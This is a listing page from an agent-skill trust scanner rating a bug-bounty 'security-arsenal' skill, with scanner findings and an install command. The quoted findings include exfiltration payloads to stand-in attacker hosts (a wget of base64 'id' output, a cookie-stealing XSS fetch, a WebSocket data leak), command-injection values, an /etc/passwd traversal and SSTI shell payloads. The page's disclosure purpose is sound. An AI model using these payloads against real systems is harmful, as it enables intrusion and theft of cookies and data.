← All skills
security-arsenal
92 / 100 · Low risk
Fine to try. Some of what it can do is expected: a security skill usually runs scanners and checks websites.
By elementalsouls/Claude-BugHunter (GitHub) · security · 5,515 stars · scanned at commit d5dcc53
Security payloads, bypass tables, wordlists, gf pattern names, always-rejected bug list, and conditionally-valid-with-chain table. Use when you need specific payloads for XSS/SSRF/SQLi/XXE/NoSQLi/command injection/SSTI/IDOR/path-traversal/HTTP smuggling/WebSocket/MFA bypass, or bypass techniques. Submittability and the always-rejected / what-NOT-to-submit decision are owned by triage-validation.
Works with any agent that supports SKILL.md skills.
What this skill can do
Sends data to these websites: attacker.com, target.com, attacker.burpcollaborator.net, target
This is disclosed by the author in the skill's SKILL.md or README. Expected for a security skill.
Found in 13 places.
Show 10 more
- skills/security-arsenal/SKILL.md, line 317
curl -s -X POST https://target.com/api/login \ - skills/security-arsenal/SKILL.md, line 345
; curl https://attacker.burpcollaborator.net - skills/security-arsenal/SKILL.md, line 349
; wget https://attacker.com/$(id|base64) - skills/security-arsenal/SKILL.md, line 533
var ws = new WebSocket('wss://target.com/ws'); - skills/security-arsenal/SKILL.md, line 536
ws.onmessage = (e) => fetch('https://attacker.com/?d='+encodeURIComponent(e.data)); - skills/security-arsenal/SKILL.md, line 551
{"message": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"} - skills/security-arsenal/SKILL.md, line 605
r = requests.post("https://target.com/api/mfa", json={"otp": totp_value}) - skills/security-arsenal/SKILL.md, line 639
async with aiohttp.ClientSession(cookies={"session": "YOUR_SESSION"}) as s: - skills/security-arsenal/SKILL.md, line 862
The classic CL.TE / TE.CL HTTP smuggling payloads no longer work against Nginx ≥ 1.21, Caddy 2.x, Envoy ≥ 1.20 (verified in Phase 2H). They DO still work agains - skills/security-arsenal/SKILL.md, line 892
curl "https://target/search?q=${m}" | grep -c "$m"
Runs commands on your computer
The author does not mention this. Expected for a security skill.
Found in 21 places.
Show 17 more
- skills/security-arsenal/SKILL.md, line 213
../../../etc/passwd - skills/security-arsenal/SKILL.md, line 229
GET /api/user/123/profile → GET /api/user/124/profile - skills/security-arsenal/SKILL.md, line 247
POST /api/user/update - skills/security-arsenal/SKILL.md, line 268
import base64, json - skills/security-arsenal/SKILL.md, line 280
GET /oauth2/auth?response_type=code&client_id=X&redirect_uri=Y&scope=Z - skills/security-arsenal/SKILL.md, line 304
/login?username[$ne]=null&password[$ne]=null - skills/security-arsenal/SKILL.md, line 317
curl -s -X POST https://target.com/api/login \ - skills/security-arsenal/SKILL.md, line 331
; id - skills/security-arsenal/SKILL.md, line 345
; curl https://attacker.burpcollaborator.net - skills/security-arsenal/SKILL.md, line 355
;{cat,/etc/passwd} - skills/security-arsenal/SKILL.md, line 379
test.jpg; id - skills/security-arsenal/SKILL.md, line 407
{{''.__class__.__mro__[1].__subclasses__()[396]('id',shell=True,stdout=-1).communicate()[0].strip()}} - skills/security-arsenal/SKILL.md, line 437
<%= process.mainModule.require('child_process').execSync('id') %> - skills/security-arsenal/SKILL.md, line 543
wscat -c "wss://target.com/ws" -H "Origin: https://evil.com" - skills/security-arsenal/SKILL.md, line 567
ffuf -u "https://target.com/api/verify-otp" \ - skills/security-arsenal/SKILL.md, line 707
echo "BASE64_SAML_RESPONSE" | base64 -d | xmllint --format - > saml.xml - skills/security-arsenal/SKILL.md, line 720
gf xss # XSS parameters
and 1 more places
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'security-arsenal' ] || [ -L ~/.agents/skills/'security-arsenal' ]; then echo 'A skill folder named security-arsenal already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/elementalsouls/Claude-BugHunter' "$d" && git -C "$d" checkout --quiet 'd5dcc5347675ed431488e0a0e46749e4918aa194' -- 'skills/security-arsenal' && mkdir -p ~/.agents/skills && cp -R "$d"/'skills/security-arsenal' ~/.agents/skills/'security-arsenal' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'security-arsenal' ~/.claude/skills/'security-arsenal' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for elementalsouls/Claude-BugHunter shows the score of its lowest-scoring skill.
[](https://zalavijaysinh.github.io/skilltrust/repos/elementalsouls/Claude-BugHunter/)
Score history
| Date | Version | Score |
|---|
| 2026-11-10 | d5dcc53 | 92 |
| 2026-11-08 | 42a3ab1 | 92 |
| 2026-11-06 | 3e71af0 | 92 |